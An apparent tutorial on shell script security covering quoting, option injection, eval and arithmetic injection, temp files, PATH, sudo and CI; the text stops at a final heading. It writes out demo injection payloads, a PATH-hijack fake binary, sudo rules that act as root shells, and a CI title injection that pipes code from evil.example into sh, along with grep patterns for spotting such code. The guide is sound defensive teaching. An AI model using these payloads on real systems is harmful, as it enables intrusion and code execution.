Skip to content
shellhacks.dev
Security

Shell Script Security From Quoting to Least Privilege

A practical shell script security guide: quoting, option injection, eval, temp files, PATH, secrets, sudo and least privilege, with attacks run and fixed.

36 min read
Summarize in AI
Illustration for "Shell Script Security From Quoting to Least Privilege": a shell script in an editor, a directory tree, an exit status badge.

A shell script is a program written in a language that mixes code and data in one string, and every security flaw in one follows from that. The shell takes text, splits it, expands it, and runs the result, so any text that an attacker can influence, such as a file name, a form field, an environment variable or a line from a log, can become a command or an option unless the script prevents it. This guide walks through the ways that happens, shows each attack run on Bash 5.2.15 in a clean Debian 12 container, and gives the fix. It ends with sudo and least privilege, the design side of the problem. It assumes you write scripts as in the Bash scripting tutorial.

The aim is a working mental model. Once you can see where a script crosses from trusted text to untrusted text, most of the rules below follow without memorizing them: quote, delimit, validate, and keep privilege small.

The threat model for a script

Security is relative to a threat, so state yours. A script that backs up your own home directory, run by you, with no outside input, has little to defend. A script that runs as root from cron and processes files that users upload has a lot. The questions are who can influence the script's input, with what privileges does it run, and what is reachable from it. Input sources include arguments, environment variables, file contents, file names, the output of other commands, network responses and the current directory. Privileges include the user it runs as, the sudo rights it has, and the files and credentials it can read.

The dangerous combination is untrusted input reaching a privileged script. Web request handlers written in shell, scripts run by administrators over user-supplied paths, CI jobs that process pull request titles, and root cron jobs that read files in world-writable directories are the usual places this appears. Where there is no boundary, spend your effort elsewhere. Where there is one, the rest of this guide applies line by line.

Quote everything

After expansion, an unquoted value is split into words on whitespace, and each word that contains a glob character is replaced with matching file names. Both transformations change a single piece of data into many arguments, and a value you did not choose can contain anything.

Shell
f="my file.txt"
touch "$f"
rm $f
rm -- "$f"
Text
rm: cannot remove 'my': No such file or directory
rm: cannot remove 'file.txt': No such file or directory

That was the harmless version. If the value had been *, or / --no-preserve-root, the same line would have done real damage. Quote every variable expansion and command substitution as "$var" and "$(cmd)". Use "$@" for argument lists and "${arr[@]}" for arrays. The few places where you want splitting, such as expanding an option string on purpose, deserve a comment saying so. ShellCheck reports the unquoted cases as SC2086, and running it on every script catches most of them.

Option injection and the double dash

Most commands treat any argument starting with a dash as an option, even when it came from a file name. An attacker who can create a file named -rf or -n in a directory that your script globs can change what your command does.

Shell
touch ./-n a.txt b.txt
wc -c *
wc -c ./*
wc -c -- *
Text
wc: invalid option -- 'n'
Try 'wc --help' for more information.
0 total
0 total

The first command expanded to wc -c -n a.txt b.txt and failed. With rm, chmod, chown, tar or rsync, a hostile name can do something worse than fail: tar accepts --checkpoint-action=exec=... in a file name and runs it, an attack documented for years. The two defences are the double dash, which ends option parsing for commands that follow the convention, and a path prefix. Write ./* instead of * in globs and use -- before any operand that came from outside. Not every command honors --, so for those, the ./ prefix, or an absolute path, is the reliable form.

File names are arbitrary bytes

A Unix file name can contain any byte except slash and NUL, including spaces, newlines, quotes and leading dashes. Scripts that parse ls output, split find results on whitespace, or loop over $(find ...) fail on such names and can be tricked by them. The safe pattern separates records with NUL, which cannot appear in a name.

Shell
mkdir -p t; touch 't/a b' 't/-rf'
find t -type f -exec ls -- {} +
printf 'a b\0c\0' | xargs -0 -n1 echo item
find t -type f -print0 | while IFS= read -r -d '' f; do
  printf 'file: [%s]\n' "$f"
done
Text
t/-rf
t/a b
item a b
item c
file: [t/a b]
file: [t/-rf]

Plain xargs without -0 split a b into two items in the same test. The idiom IFS= read -r -d '' reads up to a NUL, keeping leading whitespace and backslashes. Using -exec ... {} + avoids the pipe altogether and handles any name. When you only need a glob, an array is safe: files=(./*.log) keeps each name as one element no matter what it contains.

Never build a command in a string

Storing a command in a variable and then expanding it, cmd="rm $target"; $cmd, hands the quoting problem back to the shell. So does bash -c "rm $target", sh -c with an interpolated string, and passing a built string to ssh. Use an array, where each word is one element and the array expands without re-parsing.

Shell
cmd=(rsync -a --delete -- "$src/" "$dest/")
if [[ -n ${EXCLUDE:-} ]]; then
  cmd+=(--exclude "$EXCLUDE")
fi
"${cmd[@]}"

An exclusion containing spaces or glob characters stays a single argument. When you must run a built string in a subshell, pass data as positional parameters and not by interpolation: bash -c 'rm -- "$1"' _ "$target" runs a fixed script and supplies the value as $1, so nothing the value contains is ever parsed as code. This one pattern replaces most legitimate uses of string-built commands.

eval and its relatives

eval parses its arguments as shell code. Anything an attacker can put into the string runs with the script's privileges.

Shell
name='x; echo INJECTED'
eval "echo $name"
Text
x
INJECTED

The semicolon ended one command and began another. The same effect arises from source on a file the attacker can write, . on a path from input, trap '...' EXIT built from a variable, alias and declare with -f in some contexts, and the Bash feature that evaluates names as arithmetic. Replace eval with the construct that does the job without parsing: associative arrays or case for lookups, declare -n or ${!name} for indirection, printf -v name '%s' "$value" to assign to a named variable, and read -r "$name" only after validating that name matches ^[A-Za-z_][A-Za-z0-9_]*$.

Arithmetic contexts run code

This one surprises experienced scripters. In Bash, the operands of -eq and the other numeric tests inside [[ ]], the contents of (( )) and $(( )), array subscripts and a few other places are evaluated as arithmetic expressions, and an expression may contain a command substitution inside an array index.

Shell
x='a[$(echo PWNED >&2)]'
[[ $x -eq 0 ]]
echo "rc=$?"
Text
PWNED
rc=0

The command in the subscript ran. A script that reads a "count" from a file or a query string and compares it with [[ $count -gt 10 ]] executes whatever the sender put there. Validate before any arithmetic: [[ $count =~ ^[0-9]+$ ]] || die "not a number". The regex match does not evaluate its operand, so it is a safe gate, and [ "$count" -gt 10 ] with single brackets is not subject to this behavior in Bash, though it errors on non-numbers. The same rule applies to declare -i variables, let, printf -v targets and test -v with an array reference.

printf format strings

printf interprets its first argument as a format. Putting data there lets that data control the output, and with some shells and options it can write to variables. Pass data as arguments, never as the format.

Shell
user='%s %s %s'
printf "$user\n"
printf '%s\n' "$user"
Text

%s %s %s

The first form consumed percent directives and printed blanks; the second printed the data as written. In Bash printf -v var assigns to a variable and the named target is evaluated, which is another reason to validate names. ShellCheck flags the format-with-variable case as SC2059. The related echo pitfalls, where data beginning with a dash or containing backslash sequences is misread, are avoided by using printf '%s\n' throughout.

Validate input with an allow-list

Escaping tries to make bad input harmless; validation refuses it. Allow-lists beat deny-lists because you describe what you accept, and everything else, including cases you did not think of, is rejected. Match the whole value against a strict pattern before it is used anywhere.

Shell
validate_host() {
  [[ $1 =~ ^[a-zA-Z0-9]([a-zA-Z0-9.-]{0,251}[a-zA-Z0-9])?$ ]]
}
validate_port() {
  [[ $1 =~ ^[0-9]{1,5}$ ]] && (( $1 >= 1 && $1 <= 65535 ))
}
host="${1:-}"; port="${2:-22}"
validate_host "$host" || { echo "bad host" >&2; exit 2; }
validate_port "$port" || { echo "bad port" >&2; exit 2; }

Anchor the pattern at both ends, or a value with a good prefix and a malicious tail passes. Note that the port check does the regex first and only then does arithmetic, so the arithmetic injection above is not reachable. Where the set of valid values is small, a case over exact strings is simpler and clearer than a regex. A name that must begin with a letter, so it cannot start with a dash, closes the option-injection hole at the same time.

Temporary files

A predictable temporary file name in a shared directory is an invitation. An attacker who can write to /tmp creates a symbolic link where your script will write, and the script, running with more privilege, overwrites a target of the attacker's choosing. This is a symlink attack, one form of the time-of-check to time-of-use class. mktemp creates the file atomically with an unguessable name and mode 600; mktemp -d does the same for a directory with mode 700.

Shell
t=$(mktemp)
d=$(mktemp -d)
ls -ld "$t" "$d" | cut -c1-10
trap 'rm -rf -- "$t" "$d"' EXIT
Text
-rw-------
drwx------

Never write /tmp/myscript.$$ or /tmp/out.txt. The process ID is guessable, and a fixed name is shared. When the script runs as root, prefer a private directory such as /run/myservice created by a systemd unit with RuntimeDirectory=, or PrivateTmp=true to give the service its own /tmp. Also avoid checking a file and then using it in two steps; open it once and keep the descriptor, or let the kernel enforce the condition with options such as O_NOFOLLOW in a tool that offers them.

Control the environment

A script inherits its caller's environment, and several variables change behavior. PATH decides which program runs when you type ls. IFS changes word splitting. BASH_ENV names a file that non-interactive Bash runs on startup. LD_PRELOAD and LD_LIBRARY_PATH inject code into every dynamic program. SHELLOPTS, PS4 and CDPATH alter tracing, prompts and cd. A script that runs with privilege must not trust any of them.

Shell
printf 'echo STARTUP\n' > /tmp/lab/env.sh
BASH_ENV=/tmp/lab/env.sh bash -c 'echo body'
Text
STARTUP
body

The startup file ran before the script body. Set what you rely on at the top: PATH=/usr/sbin:/usr/bin:/sbin:/bin, IFS=$' \t\n', unset CDPATH BASH_ENV ENV, and use absolute paths for sensitive commands. Better still, start the script with a clean environment, exec env -i PATH=... HOME=... bash "$0" "$@", for privileged entry points. sudo already resets the environment by default through env_reset; keep that on, and keep the allow-list of preserved variables short.

PATH and the current directory

A PATH containing an empty entry or . means the current directory is searched for commands. If an attacker can place a file named ls in a directory where a privileged user runs your script, that file runs instead of the real one.

Shell
mkdir bin; printf '#!/bin/sh\necho HIJACKED\n' > ls; chmod +x ls
PATH=".:$PATH" ls
Text
HIJACKED

Beware also of an empty element produced by a trailing colon or by PATH="$PATH:$extra" when PATH was unset. Check with case ":$PATH:" in *::*|*:.:*) echo unsafe;; esac. For scripts that run as root, set PATH explicitly. For scripts that run as users, never add the current directory. And when a program name comes from input, resolve and check it, or select from a fixed list of allowed commands.

Secrets in arguments, traces and logs

Command-line arguments are visible to every user of the system through ps and /proc/PID/cmdline for as long as the process runs. A password passed as mysql -p"$pass" or curl -u user:$pass is readable by anyone on the host. Environment variables are not world-readable (/proc/PID/environ is mode 400 for the owner), but they are inherited by every child process and show up in crash dumps and some debug output. Shell history stores what you type. And set -x prints the expanded commands, secrets included, into logs.

Shell
umask 077
read -r -s -p "Token: " token; echo
curl -sS -H @- https://api.example.org/v1/me <<< "Authorization: Bearer $token"
curl -sS --netrc-file ~/.config/app/netrc https://api.example.org/v1/me
{ set +x; } 2>/dev/null

The first curl reads headers from standard input with -H @-, so the token never appears in the process list. The second reads credentials from a file with tight permissions. Turn tracing off around sensitive lines, as in the last command, where redirecting the trace output of set +x itself hides the line announcing the change. Store secrets in a file readable only by the service account, mode 600, owned by it, or in a secret manager; with systemd use LoadCredential=, covered in the guide to cron and systemd timers.

Redact what you log

Logs outlive scripts, travel to other systems and are read by people who should not see your tokens. Decide what is safe to log: operation names, counts, durations, host names and error messages are generally fine; headers, request bodies, tokens, passwords and personal data are not. When you log a command line, log the name and the non-sensitive options, not the full expansion. If you must show a URL that may carry a key in the query string, strip it before printing.

Shell
redact() { sed -E 's/(token|key|password|secret)=[^&[:space:]]+/\\1=REDACTED/gI'; }
log() { printf '%s %s\n' "$(date -u +%FT%TZ)" "$*" | redact >&2; }
log "fetching https://api.example.org/v1/items?page=2&token=abc123"
Text
2026-11-05T10:14:03Z fetching https://api.example.org/v1/items?page=2&token=REDACTED

A redaction filter is a safety net, not a design. The best protection is never to pass the secret through the code that logs. Review the output of set -x runs and error messages from tools you call, since a failing curl may print the URL it was given, and one failing database client may print the connection string.

Permissions: umask, modes and ownership

Files a script creates take their mode from the process umask. A script that writes credentials, private keys or reports with the default 022 creates world-readable files. Set umask 077 at the top for scripts that handle sensitive data, or create files with explicit modes using install -m 600 or by creating the file first with (umask 077; : > file).

Shell
( umask 077; touch priv; mkdir pd )
ls -ld priv pd | cut -c1-10
install -m 600 -o app -g app /dev/null /etc/app/token
Text
drwx------
-rw-------

Order matters: creating a file with a loose mode and then running chmod 600 leaves a window in which another user can open it. Create with the right mode from the start. Check ownership on anything a privileged script reads: a configuration file in a directory the attacker can write is code the script will trust. If the script sources a file, or reads a command from it, that file and every directory above it must be owned by root and not writable by others.

Setuid scripts do not work, on purpose

Linux ignores the setuid and setgid bits on interpreted scripts. The reason is a race: the kernel opens the script to read the shebang, starts the interpreter with the script's path as an argument, and the interpreter opens the path again; between the two, an attacker can swap the file or a symbolic link, so the privileged interpreter runs the wrong script. Do not look for ways around this. The supported ways to run something with extra rights are narrow and explicit.

A small compiled wrapper that does one thing, with a hardcoded path, can be setuid, though it carries the risk of any setuid program. A sudo rule that names the exact command is better. A systemd service with User= and the right Capabilities started by a socket or a timer is better still. A privileged script whose input is restricted to what a validated, narrow interface passes in is the common pattern, and it is the subject of the next sections.

sudo and least privilege

The principle of least privilege says that a process should hold only the rights its job needs, for only as long as it needs them. For scripts, that gives four practices. Run as an unprivileged user by default. Use sudo only for the individual commands that need it, not for the whole script. Grant sudo for exact command lines, not whole programs or wildcards. And drop privilege as early as possible when the script must start as root.

Text
# /etc/sudoers.d/deploy  (edit with: visudo -f /etc/sudoers.d/deploy)
deploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart app.service, \
                            /usr/bin/systemctl status app.service
Shell
sudo -l -U deploy
sudo -n systemctl restart app.service

The rule lets the deploy user restart one service and read its status, and nothing else. Always edit sudoers with visudo, which checks syntax before saving, because a broken file can lock every administrator out. The next section covers the ways such rules fail.

How sudo rules go wrong

Several common rules are equivalent to full root. A rule allowing /usr/bin/vim, less, find, awk, tar, git or any editor or pager is a root shell, because each of them can run a command or open a shell from within. A wildcard in the argument list, such as /usr/bin/systemctl restart *, matches extra arguments, so restart a b --now is allowed, and /usr/bin/tee /etc/app/* can be abused with .. path tricks. Allowing a script in a directory the user can write lets them replace it. Allowing sudo -e on a file the user can symlink lets them edit another.

RuleWhy it is unsafeBetter
ALL=(ALL) NOPASSWD: ALLRoot without a passwordName the commands
/usr/bin/vim *Editor escapes to a shellsudoedit /path/file
/bin/chown * /srv/appExtra flags and pathsFixed arguments, or a wrapper
/home/deploy/run.shUser can edit the scriptRoot-owned file in a root-owned directory
/usr/bin/find *-exec runs anythingA script that does the exact search

The remedy is to give sudo a tiny, root-owned wrapper script that takes validated arguments and does one job, and allow only that. The wrapper must follow every rule here: set its own PATH, quote everything, validate its input with an allow-list, use mktemp, and refuse unexpected arguments. A wrapper that takes a service name and checks it against an array of allowed names is a safe replacement for an open-ended rule.

Drop privileges early

Sometimes a script must start as root, for instance to bind a low port, read a protected file or mount a volume. Do the privileged part first, then continue as an unprivileged user. setpriv, runuser, su -s or sudo -u run a command as another user, and setpriv can also reduce capabilities and set no_new_privs.

Shell
#!/usr/bin/env bash
set -euo pipefail
(( EUID == 0 )) || { echo "must start as root" >&2; exit 1; }
install -d -m 750 -o app -g app /run/app
exec setpriv --reuid=app --regid=app --init-groups --no-new-privs \
  /usr/local/bin/app --config /etc/app/app.conf

The exec replaces the root shell with the unprivileged process, leaving no privileged parent behind. A service unit does this declaratively with User=, AmbientCapabilities= and NoNewPrivileges=true, which is why moving a script into a unit is often the best hardening step. In containers, the same idea is a non-root USER directive, a read-only root filesystem and dropped capabilities.

Downloads and supply chain

Installers piped straight into a shell, curl https://example.org/install.sh | sh, run whatever the server sends at that moment, over a connection that may be proxied and with no record of what executed. A truncated download can also execute half a command: a line cut at rm -rf /usr/local/share/app/ after the path was cut short is the textbook case. Download to a file, verify it, read it, then run it.

Shell
curl -fsSLo install.sh https://example.org/install.sh
curl -fsSLo SHA256SUMS https://example.org/SHA256SUMS
curl -fsSLo SHA256SUMS.sig https://example.org/SHA256SUMS.sig
gpg --verify SHA256SUMS.sig SHA256SUMS
sha256sum -c --ignore-missing SHA256SUMS
less install.sh

A checksum fetched from the same server as the file proves only that the download was not corrupted. A signature checked against a key you obtained earlier, by another route, proves who published it. Pin versions in scripts rather than fetching "latest", record the checksum in the script itself, and prefer the system package manager, which verifies signatures for you. The same care applies to pip install, npm install and container image tags in a script: pin by version or digest.

Reading input: read -r and IFS

The read builtin without -r treats a backslash as an escape and joins continued lines. Without clearing IFS, it strips leading and trailing whitespace. Both change the data you thought you read and can hide the difference between two inputs that should be distinct.

Shell
printf 'a\\nb\n' | { read line; echo "[$line]"; }
printf 'a\\nb\n' | { read -r line; echo "[$line]"; }
printf '  lead\n' | { IFS= read -r l; echo "[$l]"; }
Text
[anb]
[a\nb]
[  lead]

Always write IFS= read -r. It is a security point because a rule that compares or matches a value, such as a deny list of names, can be bypassed by whitespace or escape sequences that the unsafe read normalized or kept. Likewise, command substitution strips trailing newlines, so $(cat file) is not a byte-for-byte copy; when exact content matters, read into a file, or use read -r -d '' with care.

Handle errors so failure is safe

A script that continues after a failed step can do damage that the step existed to prevent. The classic pair is cd "$dir"; rm -rf * when the cd fails. Start scripts with set -euo pipefail, but remember that -e has exceptions, and check the commands whose failure would be dangerous by hand. Use ${var:?} to abort when a variable that guards a destructive operation is empty.

Shell
set -euo pipefail
dir="${1:?usage: clean.sh DIR}"
cd -- "$dir" || exit 1
rm -rf -- "${dir:?}/old"
Text
bash: line 1: dir: parameter null or not set

With set -u, an unset variable is an error and "${var:?}" catches the empty-string case that -u allows. Fail closed: if a permission check cannot run, treat it as denied. If an input file is missing, stop; do not fall back to a default that is less strict. And clean up with a trap so that an aborted script does not leave sensitive temporary files or a half-applied change behind.

Worked example: fix a vulnerable script

Here is a plausible maintenance script. It lets an operator remove old logs for a named application. Spot the problems before reading the list.

Shell
#!/bin/bash
app=$1
days=$2
tmp=/tmp/cleanup.$$
cd /var/log/$app
ls | grep -v current > $tmp
for f in $(cat $tmp); do
  if [ $(stat -c %Y $f) -lt $(date -d "$days days ago" +%s) ]; then
    rm $f
  fi
done
echo "cleaned $app" | mail -s "cleanup" [email protected]

The problems: $1 is used to build a path with no validation, so ../../etc escapes the log directory; an unquoted cd fails on spaces and the failure is ignored; the temporary file has a predictable name; $(cat $tmp) splits names on whitespace; ls output is parsed; $days goes into date -d, and $days reaches an arithmetic test unvalidated; the paths are not protected from a leading dash; and there is no set -e or error handling. The fixed version closes each one.

Shell
#!/usr/bin/env bash
set -euo pipefail
PATH=/usr/sbin:/usr/bin:/sbin:/bin
umask 077

die() { printf 'error: %s\n' "$*" >&2; exit 2; }

app="${1:-}"; days="${2:-}"
[[ $app =~ ^[a-z][a-z0-9_-]{0,31}$ ]] || die "bad application name"
[[ $days =~ ^[0-9]{1,4}$ ]] || die "days must be a number"

logdir="/var/log/$app"
[[ -d $logdir && ! -L $logdir ]] || die "no such log directory"
cd -- "$logdir"

removed=0
while IFS= read -r -d '' f; do
  rm -f -- "$f"
  removed=$(( removed + 1 ))
done < <(find . -maxdepth 1 -type f ! -name current -mtime +"$days" -print0)

printf 'cleaned %s: removed %s files\n' "$app" "$removed"
Text
$ ./cleanup.sh nginx 30
cleaned nginx: removed 12 files
$ ./cleanup.sh ../etc 30
error: bad application name

The name is validated against an allow-list that cannot contain a dot, a slash or a leading dash. days is a number before any arithmetic. The directory is checked and not a symbolic link. find does the selection with -print0, so no whitespace parsing and no temporary file exist at all, and rm -f -- handles names that start with a dash. The result is shorter than the original and has no known holes. Input validation, quoting and a smaller use of tools are what removed the risk.

Review checklist

When reviewing a script, especially one that runs with privilege or processes outside input, work through a fixed list. Check each item against the code, not against what you remember of it.

  • Every expansion is quoted, and every array expansion uses "${arr[@]}".
  • File operands from outside come after -- or carry a ./ prefix.
  • No eval, no bash -c with interpolated strings, no source of writable files.
  • Numbers are validated before any arithmetic, test or (( )).
  • Input is validated against an allow-list, anchored at both ends.
  • Temporary files come from mktemp, are cleaned by a trap and have a private umask.
  • PATH is set, and no empty or dot entries exist.
  • No secret appears in arguments, traces or logs.
  • Privileged parts are as small as possible, and privilege is dropped early.
  • sudo rules name exact commands, and wrappers are root-owned in root-owned directories.
  • Failure paths stop the script, and the destructive commands guard their inputs.
  • ShellCheck passes, with every suppression explained.

Pair the review with tests of the hostile cases: a file named -rf, a name with a space and a newline, an empty argument, a value with a semicolon and a subshell, a symbolic link where a regular file is expected. The test setup is in the guide to testing shell scripts, and a bug that only shows under such input is easier to trace with the methods in the debugging guide.

A path built from input can point somewhere the author did not intend. Two mechanisms do it: .. components that climb out of a directory, and symbolic links that redirect a name to another place. The check is to resolve the final path and compare it with the directory you meant to stay inside. realpath from GNU coreutils resolves both. Do the comparison on the resolved result, not on the string you were given, and do the work on the resolved path so that nothing changes between the check and the use.

Shell
base=/srv/uploads
want=$(realpath -m -- "$base/$name")
case $want in
  "$base"/*) ;;
  *) echo "path escapes $base" >&2; exit 2 ;;
esac
cat -- "$want"

The -m option accepts a path that does not exist yet, which suits a file you are about to create. The case pattern requires the resolved path to start with the base followed by a slash, so a sibling directory named /srv/uploads-old does not pass. A gap remains between the check and the use: another process could swap a directory for a link in between. For scripts that run as root over directories others can write to, the answer is not a cleverer check but removing the sharing: process files in a directory only the service owns, and move uploads into it with an atomic rename.

Unpacking archives from outside

An archive carries paths, link targets and permissions, all chosen by its author. A tarball can contain a member named ../../etc/cron.d/x or a symbolic link to / followed by a file written through it, a pattern known as zip slip or tar slip. GNU tar strips leading slashes and refuses members that contain .. by default, but treat a download you did not create as hostile. List the contents first, extract into an empty private directory, and use options that restrict what the archive may do.

Shell
dest=$(mktemp -d)
tar -tzf upload.tgz | grep -E '(^/|\.\./)' && { echo "suspicious paths" >&2; exit 1; }
tar -xzf upload.tgz -C "$dest" --no-same-owner --no-same-permissions
find "$dest" -type l -print

The options keep extraction from restoring the archive's owner or setuid bits, which would otherwise be honored when run as root. The final find lists symbolic links so that you can decide whether to allow them. Extract as an unprivileged user wherever possible. The same applies to unzip, cpio and bsdtar, whose defaults differ, so read the manual page of the one you use.

Concurrency and race conditions

A script that runs more than once at a time can race with itself. The check "does the file exist, then create it" has a window between the two steps, and two instances can both pass the check. Use operations that are atomic: mkdir succeeds for exactly one caller, mv within a filesystem replaces atomically, ln -s fails if the link exists, and set -o noclobber with > fails if the file exists. For critical sections use flock.

Shell
set -o noclobber
if { : > /var/lock/job.lock; } 2>/dev/null; then
  trap 'rm -f /var/lock/job.lock' EXIT
  ./work.sh
else
  echo "already running" >&2
fi

This lock file works but leaves a stale lock if the process is killed with SIGKILL, so the flock form from the Bash tutorial is better, since the kernel releases it automatically. In either case keep lock files in a directory only the service can write, or an attacker can create the lock and block the job for as long as they like, a denial of service that needs no exploit.

Scripts that run in CI

CI systems feed scripts with data from outside: branch names, pull request titles, commit messages and issue text. These are written by contributors, who in a public repository can be anyone. When a workflow interpolates such a value into a shell command through the CI system's own templating, the text becomes part of the script before the shell parses it, and a title like "; curl evil.example | sh # runs in the job, often with access to secrets. The defence is the same as for any shell: never interpolate, pass the value as an environment variable, and quote it in the script.

Text
# unsafe: the expression is pasted into the script text
run: echo "Building ${{ github.event.pull_request.title }}"

# safe: the value arrives as data in an environment variable
env:
  PR_TITLE: ${{ github.event.pull_request.title }}
run: printf 'Building %s\n' "$PR_TITLE"

Treat untrusted pull requests as unprivileged: do not expose secrets to jobs triggered from forks, and keep the token's permissions to the minimum the job needs. Pin third-party actions and scripts by commit hash. Each of these steps corresponds to a rule earlier in this guide, applied to the CI system's expansion step as well as the shell's.

Containers and the non-root default

A script inside a container often runs as root because the image never said otherwise. That turns any flaw in the script, or in the tools it calls, into root inside the container, and a container escape bug into root on the host. Create an unprivileged user in the image and switch to it before the entrypoint runs, mount the root filesystem read-only and drop Linux capabilities you do not use.

Text
FROM debian:12-slim
RUN useradd --system --uid 10001 --no-create-home app
COPY --chown=root:root entrypoint.sh /usr/local/bin/entrypoint.sh
USER 10001
ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
Shell
docker run --rm --read-only --cap-drop=ALL --security-opt no-new-privileges   --tmpfs /tmp:rw,noexec,nosuid,size=16m myimage

The entrypoint is owned by root and not writable by the app user, so a compromised process cannot rewrite the script that will run on the next start. Writable paths are explicit, through the tmpfs mount. Never mount the Docker socket into a container that runs scripts handling outside input: access to it is root on the host. Entry point scripts should end with exec "$@" so signals reach the real process, as noted in the portable shell guide at POSIX sh versus Bash.

Find risky patterns in an existing codebase

When you inherit a pile of scripts, start with a search for the patterns that tend to hide the worst bugs, and let ShellCheck do the rest. A few grep commands list the places that deserve a human look first.

Shell
grep -rnE '\beval\b|bash -c|sh -c' --include='*.sh' .
grep -rnE 'curl[^|]*\|[[:space:]]*(sudo[[:space:]]+)?(ba)?sh' --include='*.sh' .
grep -rnE 'chmod[[:space:]]+(-R[[:space:]]+)?(777|a\+rwx)' --include='*.sh' .
grep -rnE '/tmp/[A-Za-z0-9_.-]+(\$\$)?' --include='*.sh' .
find . -name '*.sh' -print0 | xargs -0 shellcheck -S warning -f gcc

The first finds string-built commands, the second pipe-to-shell installers, the third world-writable modes, the fourth predictable temporary names, and the last runs ShellCheck at warning severity across every script, printing one line per finding. Rank the results by exposure: scripts that run as root, scripts that read outside input and scripts that are copied into images come first. Fix by category and not by file, because the same pattern usually repeats, and add a CI check so that new instances do not arrive.

Defence in depth around the script

No single control is enough, so a well-run system layers them, and the script is only one layer. The operating system provides users, groups, file modes and capabilities. systemd adds sandboxing: ProtectSystem, PrivateTmp, NoNewPrivileges, RestrictAddressFamilies and a seccomp filter through SystemCallFilter. Mandatory access control such as AppArmor or SELinux confines what a process can open even if it is fully compromised. Network policy limits what it can reach. Monitoring watches for the behaviors that matter: a script touching files it never touched before, or a spike in failed sudo attempts.

The practical consequence is a division of labor. The script validates its input and avoids dangerous constructs, which stops common mistakes. The unit or container limits the damage if a mistake slips through. The log and the alert tell a person that something unusual happened. A script with no sandbox depends on being perfect; a sandbox with no careful script depends on the sandbox being perfect. Using both lowers the odds that one overlooked quote becomes an incident.

A safe header for every script

Most of the controls above can be put in a short preamble that costs nothing at runtime and that you copy into new scripts, so the safe choice is the default one. It sets the strict options, fixes the path and field separator, makes new files private, and defines the helper that all failures use. Review it once, keep it in a template, and let ShellCheck and code review confirm that new scripts start from it.

Shell
#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'
PATH=/usr/local/bin:/usr/bin:/bin
umask 077
unset CDPATH BASH_ENV ENV

die() { printf '%s: %s\n' "${0##*/}" "$*" >&2; exit "${2:-1}"; }
tmp=$(mktemp -d) || die "cannot create a temporary directory"
trap 'rm -rf -- "$tmp"' EXIT

Setting IFS to newline and tab means an accidental unquoted expansion splits only on lines, a smaller blast radius than splitting on spaces, though it is no substitute for quoting. The header does not make a script safe on its own; it removes the ambient hazards, such as the caller's environment and a loose umask, so the remaining review can concentrate on how the script treats its own input. Add the input validation and the privilege decisions on top, and the script is ready for the checklist.

Resource limits and denial of service

A script that handles input from outside can be made to consume all of a resource without any exploit: a huge file, an endless stream, a slow network peer, a loop that spawns children. Put limits where the damage would occur. timeout from coreutils kills a command that runs too long. ulimit caps file sizes, open files, processes and CPU time for the shell and its children. head -c bounds how much of a stream you read. curl --max-time and --max-filesize bound a download. systemd services add MemoryMax=, TasksMax= and CPUQuota=.

Shell
timeout 30 ./convert.sh "$upload" || echo "conversion exceeded 30 seconds" >&2
( ulimit -f 102400 -t 20 -v 1048576; ./process "$upload" )
curl -fsS --max-time 20 --max-filesize 5000000 -o feed.xml "$url"
head -c 1048576 < "$untrusted" | ./parse

The subshell in the second line keeps the limits from applying to the rest of the script. Limits on file size are in 512-byte blocks in some shells and 1024 in others, so check the units for the shell in use. Combine limits with the unprivileged account: a process that can only write a small file, run for twenty seconds and use a gigabyte is a much smaller problem than one with no bounds at all. Test the limits by feeding the script a deliberately oversized input, and confirm that the failure is clean and leaves no temporary files.

Sandboxing a risky step

When a script must run a program it does not trust, such as a converter on user-uploaded files, give that step a smaller world. On Linux, bubblewrap (bwrap) builds a sandbox from namespaces in one command, unshare creates new namespaces directly, and systemd-run can apply the service sandboxing options to a one-off command. The pattern is the same: no network, a read-only view of the system, a private temporary directory, and write access only to the output location.

Shell
bwrap --ro-bind /usr /usr --symlink usr/lib /lib --symlink usr/lib64 /lib64 \
      --symlink usr/bin /bin --proc /proc --dev /dev --tmpfs /tmp \
      --unshare-all --die-with-parent \
      --ro-bind "$input" /in/file --bind "$outdir" /out \
      convert /in/file /out/result.png

systemd-run --wait --pipe -p PrivateNetwork=yes -p ProtectSystem=strict \
  -p ReadWritePaths="$outdir" -p NoNewPrivileges=yes convert "$input" "$outdir/result.png"

The input is mounted read-only and the output directory is the only writable location, so even a vulnerability in the converter cannot touch anything else or reach the network. Sandboxing is defence in depth, not a license for sloppy handling: the script should still validate the file type, bound its size and run as an unprivileged user. It buys time and limits the blast radius when one of the tools it calls has a bug, which they do.

Integrity: checksums and signatures

A script that downloads or copies files should verify them. A checksum detects corruption and, if obtained from a trusted place, tampering. sha256sum -c checks a list of hashes and returns a non-zero status on any mismatch; use it in a way that cannot silently pass when the list is empty or missing, since an empty list verifies nothing.

Shell
cd "$tmp"
curl -fsSLO "https://example.org/tool-1.4.2.tar.gz"
printf '%s  %s\n' "$EXPECTED_SHA256" "tool-1.4.2.tar.gz" | sha256sum -c --strict - || exit 1
gpg --verify tool-1.4.2.tar.gz.asc tool-1.4.2.tar.gz
tar -tzf tool-1.4.2.tar.gz | head

Record the expected hash in the script or in a file under version control, so a change to it is a reviewed change. Use --strict so that improperly formatted lines are an error rather than ignored. A signature check proves who published the file, provided you obtained the key from a trusted source and verified its fingerprint, which a keyserver lookup of a short key ID does not do. For container images, pin by digest, image@sha256:..., which is the checksum approach built into the registry.

Encrypting data at rest in scripts

Backups and exports often contain sensitive data, and writing them in clear text to a disk or an object store is a leak waiting to happen. Encrypt before the data leaves the machine. age is a small modern tool with simple keys and no configuration; gpg is older and more flexible. Encrypt to a public key, so the backup host holds only the public half and a compromise of it does not expose old backups.

Shell
pg_dump appdb | gzip | age -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p > appdb.sql.gz.age
age -d -i ~/.age/key.txt appdb.sql.gz.age | gunzip | head
gpg --encrypt --recipient [email protected] --output backup.tar.gpg backup.tar

Keep the private key off the machine that makes the backups, and test a restore regularly, because an encrypted backup you cannot decrypt is worse than none. Note that a pipeline like the first one reports only the exit status of its last command unless pipefail is set, so a failed pg_dump can produce a valid-looking empty encrypted file; set pipefail and check the size afterwards.

Secure transport with curl and wget

